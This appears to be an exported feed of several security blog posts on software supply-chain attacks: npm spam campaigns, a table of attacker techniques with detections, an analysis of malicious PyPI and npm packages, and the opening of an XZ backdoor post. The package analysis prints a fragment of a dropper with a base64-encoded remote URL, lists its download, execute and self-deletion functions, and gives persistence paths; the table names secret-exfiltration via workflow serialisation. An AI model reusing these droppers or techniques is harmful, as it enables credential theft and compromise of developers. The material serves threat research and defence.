&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfrhgv7ig2lsymrqjo6t.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfrhgv7ig2lsymrqjo6t.webp" alt=" " width="800" height="275"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Infrastructure Abuse: Large-Scale Package Spam Campaigns&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In addition to malware-distributing packages, the open-source ecosystem faces &lt;strong&gt;infrastructure abuse&lt;/strong&gt; through spam campaigns that flood registries with thousands of packages.&lt;br&gt;&lt;br&gt;
DevOps for cybercrime is common: attackers routinely use SCMs and registries for OSINT, distributing malware stages, extracting secrets, and maintaining C2.&lt;br&gt;&lt;br&gt;
But these platforms can also be &lt;strong&gt;abused for non-malicious purposes&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
While not traditionally malicious, such campaigns consume registry resources, pollute search results, and erode trust.&lt;/p&gt;

&lt;p&gt;Two significant examples demonstrate this trend: &lt;strong&gt;IndonesianFoods&lt;/strong&gt; (exploiting contributor rewards) and the &lt;strong&gt;Elves campaign&lt;/strong&gt; (red-team testing gone rogue).&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;IndonesianFoods: TEA Protocol Exploitation&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The primary motivation was financial fraud through &lt;a href="https://xygeni.io/blog/npm-flooding-case-study-down-the-rabbit-hole-looking-for-a-tea/" rel="noopener noreferrer"&gt;exploitation of the TEA Protocol&lt;/a&gt; —&lt;br&gt;&lt;br&gt;
a blockchain-based system designed to compensate open-source developers.&lt;/p&gt;

&lt;p&gt;Attackers published thousands of interconnected packages containing &lt;code&gt;tea.yaml&lt;/code&gt; files linking to their Ethereum wallets, forming circular dependency networks to inflate contribution metrics.&lt;br&gt;&lt;br&gt;
Automated scripts published ~12 packages per minute with randomly generated Indonesian names and food terms.&lt;br&gt;&lt;br&gt;
One package README even boasted about TEA token earnings, confirming the financial motive.&lt;/p&gt;

&lt;p&gt;The campaign spanned &lt;strong&gt;~44,000 packages — over 1% of npm —&lt;/strong&gt; and persisted nearly two years.&lt;br&gt;&lt;br&gt;
Circular dependencies meant installing one package could pull in hundreds of spam packages.&lt;br&gt;&lt;br&gt;
Search results degraded, trust in package metrics eroded, and registry bandwidth and storage were heavily consumed.&lt;/p&gt;

&lt;p&gt;Although TEA protocol abuse was documented in April 2024, systematic removal didn’t occur until &lt;strong&gt;November 2025&lt;/strong&gt;, revealing critical gaps in registry abuse detection.&lt;br&gt;&lt;br&gt;
The episode undermined confidence in blockchain-backed funding models and exposed how easily reward systems can be gamed.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Elves Campaign: Automated Infrastructure Testing&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://socket.dev/blog/elves-on-npm" rel="noopener noreferrer"&gt;elves campaign&lt;/a&gt; in December 2025 emphasized infrastructure abuse rather than malicious intent.&lt;br&gt;&lt;br&gt;
Package descriptions referenced “capture the flag challenge” and “testing” (including French text:&lt;br&gt;&lt;br&gt;
“Package généré automatiquement toutes les 2 minutes”), suggesting origins in security research or CTF exercises.&lt;/p&gt;

&lt;p&gt;Packages followed consistent &lt;code&gt;elf-stats-*&lt;/code&gt; naming with seasonal themes.&lt;br&gt;&lt;br&gt;
Some contained trivial reverse shells (simple bash one-liners), so unsophisticated they appeared designed only for detection testing rather than genuine exploitation.&lt;/p&gt;

&lt;p&gt;The operational tempo — one package every 2 minutes across multiple accounts — tested npm’s rate limiting and abuse detection capabilities.&lt;br&gt;&lt;br&gt;
The campaign demonstrated that automated flooding can persist for hours or days before intervention, consuming storage, bandwidth, and moderation resources.&lt;/p&gt;

&lt;p&gt;Most importantly, it signaled to other threat actors that &lt;strong&gt;automated flooding attacks are feasible&lt;/strong&gt;, potentially inspiring future abuse campaigns.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;New Tactics, Techniques, and Procedures (TTPs)&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;TTP&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Technique&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Detection&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Autonomous Propagation Through Credential Reuse&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;After harvesting npm tokens, GitHub credentials, or registry API keys, malware enumerates all packages owned by the compromised maintainer and injects malicious payloads into new versions.&lt;/td&gt;
&lt;td&gt;One compromised token can infect dozens or hundreds of packages within hours. Each new victim becomes a propagation point for additional spread.&lt;/td&gt;
&lt;td&gt;Monitor for sudden bursts of package publications from single maintainers, especially with suspicious postinstall hooks or large binary additions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Multi-Layer C2 Infrastructure with Blockchain Immutability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Primary C2 uses blockchain transactions (Solana, Ethereum) with memo fields containing encoded payload URLs. Secondary C2 leverages Google Calendar, Pastebin, or GitHub Gists as backup channels.&lt;/td&gt;
&lt;td&gt;Traditional takedown approaches fail—blockchain transactions cannot be removed, and legitimate service abuse is difficult to distinguish from normal use.&lt;/td&gt;
&lt;td&gt;Monitor for unusual blockchain RPC queries from developer machines. Track calendar or paste-site connections from build environments.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Invisible Code Injection via Unicode Stealth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Malicious JavaScript encoded with Unicode variation selectors and zero-width characters that don’t render in editors but remain executable.&lt;/td&gt;
&lt;td&gt;Code review becomes ineffective; developers see blank lines while interpreters execute hidden malware.&lt;/td&gt;
&lt;td&gt;Scan for unprintable Unicode characters, especially variation selectors or zero-width joiners. Analyze byte-level content, not rendered code.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub Actions as Exfiltration Infrastructure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Workflows with &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt; serialize all repository secrets and POST them to attacker-controlled endpoints.&lt;/td&gt;
&lt;td&gt;Complete secret theft disguised as CI/CD activity, with traffic from GitHub’s trusted IP ranges.&lt;/td&gt;
&lt;td&gt;Scan workflows for &lt;code&gt;toJSON(secrets)&lt;/code&gt;. Monitor external HTTP POST requests and new workflow additions without PRs or commit history.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hybrid RAT Deployment in Dev Environments&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Full RAT capabilities (SOCKS proxy, VNC, WebRTC P2P) on developer workstations. Targets development credentials and internal networks.&lt;/td&gt;
&lt;td&gt;Developers become pivots for source code, pipelines, and cloud infrastructure access.&lt;/td&gt;
&lt;td&gt;Detect unexpected proxy or VNC processes, WebRTC connections, and BitTorrent DHT activity from dev machines. Enforce strict egress filtering.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dependency Chain Infection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Malicious packages depend on other attacker-controlled packages, forming recursive chains.&lt;/td&gt;
&lt;td&gt;Installing one malicious dependency can introduce dozens more; cleanup is complex.&lt;/td&gt;
&lt;td&gt;Analyze dependency graphs for circular or random patterns. Enforce lockfile-only installs to prevent uncontrolled dependency resolution.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Defensive Posture&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The era of &lt;strong&gt;self-propagating supply chain worms&lt;/strong&gt; has arrived.&lt;br&gt;&lt;br&gt;
Defense requires automation, vigilance, and architectural controls that assume compromise rather than hoping for detection.&lt;br&gt;&lt;br&gt;
Every package installation is a potential infection vector.&lt;br&gt;&lt;br&gt;
Every credential is a propagation mechanism.&lt;br&gt;&lt;br&gt;
The question is no longer &lt;em&gt;whether&lt;/em&gt; attacks will occur, but &lt;em&gt;how quickly&lt;/em&gt; you can detect and contain them.&lt;/p&gt;

&lt;p&gt;Defending against worm-like malicious packages requires shifting from &lt;strong&gt;reactive scanning&lt;/strong&gt; to &lt;strong&gt;proactive prevention and continuous monitoring&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Pipeline Controls&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Enforce lockfile-only installs (&lt;code&gt;npm ci&lt;/code&gt;, &lt;code&gt;yarn install --frozen-lockfile&lt;/code&gt;) to prevent automatic dependency updates and ensure strict version pinning.
&lt;/li&gt;
&lt;li&gt;Implement pre-install scanning of packages and full dependency trees, blocking malicious packages before execution.
&lt;/li&gt;
&lt;li&gt;Block packages with suspicious traits: oversized bundles, obfuscation, or unexpected install hooks.
&lt;/li&gt;
&lt;li&gt;Require code review for dependency additions and updates.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Credential Management&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Minimize token scope — publishing tokens should target only specific packages.
&lt;/li&gt;
&lt;li&gt;Use short-lived tokens with automatic rotation.
&lt;/li&gt;
&lt;li&gt;Never store tokens in source code or environment variables.
&lt;/li&gt;
&lt;li&gt;Use dedicated CI accounts with minimal privileges.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Detection and Monitoring&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Track publishing patterns and alert on unusual bursts from single maintainers.
&lt;/li&gt;
&lt;li&gt;Monitor GitHub Actions for secret serialization patterns (&lt;code&gt;toJSON(secrets)&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;Detect workflow additions performing external HTTP requests.
&lt;/li&gt;
&lt;li&gt;Flag new public repositories with encoded or suspicious content.
&lt;/li&gt;
&lt;li&gt;Watch for unexpected proxy, VNC, or blockchain RPC activity from developer machines.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Incident Response&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Treat any execution of suspicious install hooks as full compromise.
&lt;/li&gt;
&lt;li&gt;Assume all tokens on compromised hosts are stolen — rotate immediately.
&lt;/li&gt;
&lt;li&gt;Rebuild affected CI/CD runners from clean images.
&lt;/li&gt;
&lt;li&gt;Audit all packages owned by compromised accounts for malicious versions.
&lt;/li&gt;
&lt;li&gt;Check for persistence in GitHub workflows and repository settings.
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;AI vendors often say any tool can be used for good or evil.&lt;br&gt;&lt;br&gt;
AI systems cannot entirely prevent dual use, but they can &lt;strong&gt;impose friction&lt;/strong&gt; and improve forensic visibility.&lt;br&gt;&lt;br&gt;
The real design question is not &lt;em&gt;“can AI be abused?”&lt;/em&gt; but &lt;em&gt;“how much friction can we add without harming legitimate utility?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One fact remains: &lt;strong&gt;jailbreaking today’s AI systems is far too easy.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Analysis of malicious prompts in recent attacks shows that LLM non-determinism extends to their guardrails.&lt;/p&gt;

&lt;p&gt;Emerging ideas for AI security include &lt;strong&gt;strong origin authentication&lt;/strong&gt;, &lt;strong&gt;trustworthy content isolation&lt;/strong&gt;, and &lt;strong&gt;policy-aware external controls&lt;/strong&gt; (with MCP and similar protocols now entering the landscape).&lt;br&gt;&lt;br&gt;
Only time will tell whether AI becomes the next weapon for large-scale OSS attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Read More&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://xygeni.io/blog/shai-hulud-the-npm-packages-worm-explained/" rel="noopener noreferrer"&gt;Shai-Hulud: The npm Packages Worm Explained&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://xygeni.io/blog/shai-hulud-20-npm-supply-chain-attack/" rel="noopener noreferrer"&gt;Shai-Hulud 2.0 NPM Supply Chain Attack&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace" rel="noopener noreferrer"&gt;GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace – Koi Security&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf" rel="noopener noreferrer"&gt;Disrupting the First Reported AI-Orchestrated Cyber Espionage Campaign – Anthropic&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.getsafety.com/blog-posts/analyzing-nx-ai-prompt" rel="noopener noreferrer"&gt;Analyzing the AI Prompts Used in the Nx Attack – GetSafety&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem" rel="noopener noreferrer"&gt;Widespread Supply Chain Compromise Impacting npm Ecosystem – CISA&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/" rel="noopener noreferrer"&gt;Our Plan for a More Secure npm Supply Chain – GitHub Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;About the Author&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Written by &lt;a href="https://www.linkedin.com/in/luis-rodr%C3%ADguez-xygeni/" rel="noopener noreferrer"&gt;&lt;strong&gt;Luis Rodríguez&lt;/strong&gt;&lt;/a&gt;,&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Co-Founder and CTO at &lt;a href="https://xygeni.io/" rel="noopener noreferrer"&gt;Xygeni Security&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Luis is a physicist, mathematician, and CISSP with over 20 years of experience in software security.&lt;br&gt;&lt;br&gt;
He has led major security initiatives across SAST, SCA, and advanced code-analysis technologies.&lt;br&gt;&lt;br&gt;
Today, he focuses on &lt;strong&gt;software supply chain security&lt;/strong&gt;, combining deep research with hands-on engineering to help teams defend modern DevSecOps pipelines from emerging threats.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>A Closer Look at Software Supply Chain Attacks 2025: PyPI &amp; npm Campaigns Compared</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Mon, 25 Aug 2025 13:00:00 +0000</pubDate>
      <link>https://dev.to/lmrb1968/a-closer-look-at-software-supply-chain-attacks-2025-pypi-npm-campaigns-compared-45ic</link>
      <guid>https://dev.to/lmrb1968/a-closer-look-at-software-supply-chain-attacks-2025-pypi-npm-campaigns-compared-45ic</guid>
      <description>&lt;p&gt;&lt;strong&gt;Xygeni recently observed a concerning pattern in the landscape of software supply chain attacks in 2025&lt;/strong&gt;, emerging across two popular package managers: &lt;a href="https://pypi.org/" rel="noopener noreferrer"&gt;PyPI&lt;/a&gt; and &lt;a href="https://www.npmjs.com/" rel="noopener noreferrer"&gt;npm&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;As part of our ongoing threat intelligence efforts, &lt;a href="https://xygeni.io/malicious-code-digest/" rel="noopener noreferrer"&gt;Xygeni's Malware Early Warning (MEW)&lt;/a&gt; tool identified a distinct but methodologically similar instance of a malicious package uploaded to another registry previously.  &lt;/p&gt;

&lt;p&gt;This case highlights how threat actors are evolving and reusing attack techniques across ecosystems, especially through &lt;strong&gt;malicious Python packages&lt;/strong&gt; and &lt;strong&gt;malicious npm packages&lt;/strong&gt;, which increases the risk of malicious packages infiltrating open source supply chains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Xygeni's MEW: Spotting the Similarities
&lt;/h2&gt;

&lt;p&gt;Xygeni's MEW tool is built to detect and flag malicious packages, especially those linked to Software Supply Chain Attacks in 2025, as soon as they are published to open-source registries. It works by analyzing new packages for suspicious behavior.&lt;/p&gt;

&lt;p&gt;In this instance, it identified two &lt;strong&gt;malicious Python packages&lt;/strong&gt; (&lt;code&gt;graphalgo&lt;/code&gt; on PyPI) and &lt;strong&gt;malicious npm packages&lt;/strong&gt; (&lt;code&gt;express-cookie-parser&lt;/code&gt; on npm).&lt;/p&gt;

&lt;h2&gt;
  
  
  Malicious Python and npm Packages in Software Supply Chain Attacks (2025)
&lt;/h2&gt;

&lt;p&gt;Let’s explore the shared characteristics that triggered our alerts:&lt;/p&gt;

&lt;h3&gt;
  
  
  Typosquatting
&lt;/h3&gt;

&lt;p&gt;They both tried to impersonate popular existing packages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;graphalgo (PyPI)&lt;/strong&gt;: &lt;em&gt;“Python package for creating and manipulating graphs and networks.”&lt;/em&gt; Uploaded by a user named &lt;em&gt;"larrytech"&lt;/em&gt; on June 13, 2025, this package presented itself as a PyPI alternative to the original non-malicious graphalgo project, which was later renamed graphdict.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;express-cookie-parser (npm)&lt;/strong&gt;: This package imitated the well-known &lt;code&gt;cookie-parser&lt;/code&gt; package, even mirroring its &lt;em&gt;README.md&lt;/em&gt;. Such impersonation is a classic tactic to leverage existing trust.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Obfuscation as a First Line of Defense
&lt;/h3&gt;

&lt;p&gt;Both packages obfuscated their malicious code within the original files.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For &lt;strong&gt;graphalgo&lt;/strong&gt;, the obfuscated code was found within &lt;code&gt;/utils/load_libraries.py&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;In the case of &lt;strong&gt;express-cookie-parser&lt;/strong&gt;, &lt;code&gt;cookie-loader.min.js&lt;/code&gt; contained the obfuscated payload.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The obfuscation method was simple: repeated ZLib compression plus Base64 encoding. This clearly indicates concealment.  &lt;/p&gt;

&lt;p&gt;Xygeni MEW classified these as potential malware. During review, a deobfuscation script revealed the obviously malicious dropper stage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Multi-Stage Payload Delivery and a Shared Origin Point
&lt;/h3&gt;

&lt;p&gt;Both packages functioned as initial &lt;em&gt;droppers&lt;/em&gt;, setting the stage for the real payload.  &lt;/p&gt;

&lt;p&gt;They shared a common external &lt;em&gt;seed&lt;/em&gt; file URL:&lt;/p&gt;

&lt;p&gt;This identical external seed file is a strong indicator of a shared threat actor. The file appears to contain environment variables (e.g., JWT_SECRET, PORT), misleading casual inspection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic C2 Resolution with a DGA
&lt;/h3&gt;

&lt;p&gt;A sophisticated tactic observed is the use of a Domain Generation Algorithm (DGA) to resolve the C2 server dynamically.  &lt;/p&gt;

&lt;p&gt;This technique, often seen in advanced supply chain attacks in 2025, relies on a SHA256 hash derived from the seed file’s content, combined with other hardcoded values.  &lt;/p&gt;

&lt;p&gt;In this case, the npm variant used a fixed value of:&lt;/p&gt;

&lt;h3&gt;
  
  
  Establishing Persistence
&lt;/h3&gt;

&lt;p&gt;Both attackers dropped persistent startup scripts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;startup.py&lt;/code&gt; (PyPI)
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;startup.js&lt;/code&gt; (npm)
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These were placed into Google Chrome user data directories across OSes (Windows, Linux, macOS).&lt;/p&gt;

&lt;h3&gt;
  
  
  Post-Execution Cleanup
&lt;/h3&gt;

&lt;p&gt;Both malicious scripts performed cleanup operations:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deleting initial dropper files (&lt;code&gt;load_libraries.py&lt;/code&gt;, &lt;code&gt;cookie-loader.min.js&lt;/code&gt;)
&lt;/li&gt;
&lt;li&gt;Modifying legitimate package files (&lt;code&gt;__init__.py&lt;/code&gt;, &lt;code&gt;index.js&lt;/code&gt;) to remove traces
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Indicators of Compromise in Malicious Python and npm Packages
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PyPI Package&lt;/strong&gt;: &lt;code&gt;graphalgo&lt;/code&gt; (published by larrytech, June 13, 2025)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;npm Package&lt;/strong&gt;: &lt;code&gt;express-cookie-parser&lt;/code&gt; (specifically version 1.4.12)
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shared Seed URL&lt;/strong&gt;:  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistent Filenames&lt;/strong&gt;: &lt;code&gt;startup.py&lt;/code&gt; (Python), &lt;code&gt;startup.js&lt;/code&gt; (JavaScript)  &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Common Paths&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows: &lt;code&gt;AppData\Local\Google\Chrome\UserData\Scripts\&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Linux: &lt;code&gt;~/.config/google-chrome/Scripts/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;macOS: &lt;code&gt;~/Library/Application Support/Google/Chrome/Scripts/&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to Defend Against Malicious Packages in Software Supply Chain Attacks 2025
&lt;/h2&gt;

&lt;h3&gt;
  
  
  A Recommended Approach for Developers
&lt;/h3&gt;

&lt;p&gt;This case shows how &lt;strong&gt;malicious Python packages&lt;/strong&gt; and &lt;strong&gt;malicious npm packages&lt;/strong&gt; can slip into trusted ecosystems. Early detection, tooling, and proactive hygiene are key.&lt;/p&gt;

&lt;h4&gt;
  
  
  Dependency Review
&lt;/h4&gt;

&lt;p&gt;If your projects included these, remove them:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For PyPI: &lt;code&gt;pip uninstall graphalgo&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;For npm: &lt;code&gt;npm uninstall express-cookie-parser&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  System Hygiene
&lt;/h4&gt;

&lt;p&gt;Run full scans and manually check Chrome user data directories for &lt;code&gt;startup.py&lt;/code&gt; or &lt;code&gt;startup.js&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Proactive Security Measures
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Assess New Dependencies&lt;/strong&gt;: Thoroughly review new packages before integrating them.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrate Security Tools&lt;/strong&gt;: Use solutions like Xygeni’s MEW and SCA tools.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least Privilege&lt;/strong&gt;: Apply least privilege to development environments.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Awareness&lt;/strong&gt;: Monitor outbound connections for DGA-based C2 traffic.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F786r5b2jk05htrlc9507.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F786r5b2jk05htrlc9507.webp" alt=" " width="800" height="363"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Components of &lt;code&gt;load_libraries.py&lt;/code&gt; (from graphalgo)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Highlighted functions:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;download_remote_content()&lt;/code&gt; – Fetches files from URLs.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;run_process()&lt;/code&gt; – Executes scripts discreetly.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get_output_file_path()&lt;/code&gt; – Finds location for persistent &lt;code&gt;startup.py&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;remove_self()&lt;/code&gt; – Cleans up malicious files after execution.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;simple_shift_encrypt()&lt;/code&gt; / &lt;code&gt;simple_shift_decrypt()&lt;/code&gt; – Custom obfuscation for C2 comms.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;load_libraries()&lt;/code&gt; – Orchestrates multi-stage execution.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Aftermath
&lt;/h2&gt;

&lt;p&gt;As with other malicious packages flagged by MEW, &lt;strong&gt;Xygeni’s dependency firewall&lt;/strong&gt; immediately protected users. After confirmation, both registries were notified and the packages were removed.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>cybersecurity</category>
      <category>appsec</category>
      <category>opensource</category>
    </item>
    <item>
      <title>XZ Backdoor: “That was a close one”</title>
      <dc:creator>Luis Manuel Rodriguez Berzosa</dc:creator>
      <pubDate>Wed, 20 Aug 2025 22:00:00 +0000</pubDate>
      <link>https://dev.to/xygenisecurity/xz-backdoor-that-was-a-close-one-3jla</link>
      <guid>https://dev.to/xygenisecurity/xz-backdoor-that-was-a-close-one-3jla</guid>
      <description>&lt;p&gt;A nefarious or compromised maintainer inserted malicious behavior in a library named &lt;em&gt;liblzma&lt;/em&gt;, part of the &lt;strong&gt;xz compression tools and libraries&lt;/strong&gt;, resulting in a backdoor in SSH. This is an advanced software supply chain attack as the library was intentionally modified for the backdoor, with obfuscation and stealth techniques for hiding the attack payload from reviewers.&lt;/p&gt;

&lt;p&gt;It was discovered and disclosed recently (on past Mar 29th), and the attack handling is ongoing. However, it was quickly contained as it seems to affect only pre-release versions of a limited set of environments (DEB and RPM packages, for the x86_64 architecture, and built with GCC). Anyway, the &lt;a href="https://xygeni.io/sscs-glossary/what-is-cve/" rel="noopener noreferrer"&gt;CVE&lt;/a&gt; was given a &lt;a href="https://xygeni.io/blog/cvss-a-risk-score-framework-to-prioritize-threats/" rel="noopener noreferrer"&gt;CVSS base score&lt;/a&gt; of 10, which is reserved for the most critical cybersecurity vulnerabilities. Should it enter stable distributions, the impact would be overwhelming.  &lt;/p&gt;

&lt;p&gt;The technical analysis of the attack, including the &lt;strong&gt;xz backdoor explained in depth&lt;/strong&gt;, was analyzed elsewhere. This post will focus on the timeline of the attack, how it could be detected, how the incident was handled up to date, and what lessons may be extracted from the attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the XZ backdoor was injected
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Note: The git repository is in &lt;a href="https://git.tukaani.org/?p=xz.git;a=summary" rel="noopener noreferrer"&gt;git.tukaani.org&lt;/a&gt;. However, there was also a &lt;a href="https://github.com/tukaani-project/xz" rel="noopener noreferrer"&gt;GitHub hosted repository&lt;/a&gt; (currently blocked) where the GitHub account was posting the changes that were later integrated into the Git repository.&lt;/em&gt;&lt;/p&gt;

